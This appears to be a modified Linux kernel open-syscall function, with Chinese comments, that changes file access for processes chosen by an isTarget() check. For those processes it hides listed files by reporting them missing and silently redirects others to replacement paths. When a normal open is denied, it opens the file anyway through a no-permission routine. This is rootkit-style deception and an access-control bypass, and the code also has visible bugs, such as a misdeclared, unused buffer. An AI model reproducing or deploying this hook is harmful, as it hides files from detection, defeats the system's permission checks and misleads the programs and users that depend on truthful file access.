long do_sys_open2(int dfd, const char __user *filename, int flags, umode_t mode)
{
struct open_flags op;
int flags2 = flags & ~O_CREAT;
int fd = 0;
struct filename *tmp;
struct open_flags op2;
struct filename *cheatFileName = 0;
struct file *f;
struct file *f2;
char* kname[1024] = {0};
copy_from_user(kname,filename,strnlen_user(filename,1024));
fd = build_open_flags(flags, mode, &op);
if (fd)
return fd;
fd = build_open_flags(flags2,mode,&op2);
if (fd)
return fd;
tmp = getname(filename,false);
if (IS_ERR(tmp))
return PTR_ERR(tmp);
fd = get_unused_fd_flags(flags);
if(isTarget())
{
bool isCheat = false;
struct file_hash obj;
struct file* replace = 0;
if(fd > 0)
{
f = do_filp_open(dfd, tmp, &op);
if(IS_ERR(f))
{
//假设没开文件权限，要读取特定机型特有的文件
f2 = do_filp_open_no_perm(dfd, tmp, &op2);
isCheat = true;
if(IS_ERR(f2))
{
goto FAIL_FINISH;
}
}
obj.id = 0;
if(!IS_ERR(f))
{
__getFileInfoHash(&(f->f_path),&obj);
}
else
{
__getFileInfoHash(&(f2->f_path),&obj);
}
if(isCheat)
{
if(obj.id != 0 && obj.flag & _FILE_READ)
{
f = f2;
goto SUCC_FINISH;
}
else
{
filp_close(f2,0);
goto FAIL_FINISH;
}
}
if(obj.id != 0)
{
if(obj.flag & _FILE_HIDE)
{
if(!IS_ERR(f))
{
filp_close(f,0);
}
put_unused_fd(fd);
putname(tmp);
return -ENOENT;
}
else if(obj.flag & _FILE_REPLACE) //不会把无权限访问的文件添加进替换表，所以不用考虑原文件是否存在
{
cheatFileName = getname_kernel(obj.replacePath);
if(!IS_ERR(cheatFileName))
{
build_open_flags(flags, mode, &op);
replace = do_filp_open_no_perm(dfd, cheatFileName, &op);
if(!IS_ERR(replace))
{
filp_close(f,0);
f = replace;
}
}
}
}
fsnotify_open(f);
fd_install(fd, f);
goto FINISH;
}
}
else
{
struct file *f = do_filp_open(dfd, tmp, &op);
if (IS_ERR(f)) {
put_unused_fd(fd);
fd = PTR_ERR(f);
} else
{
fsnotify_open(f);
fd_install(fd, f);
}
}
goto FINISH;
FAIL_FINISH:
put_unused_fd(fd);
fd = PTR_ERR(f);
goto FINISH;
SUCC_FINISH:
fsnotify_open(f);
fd_install(fd, f);
FINISH:
putname(tmp);
if(cheatFileName != 0 && !IS_ERR(cheatFileName) )
{
putname(cheatFileName);
}
return fd;
}
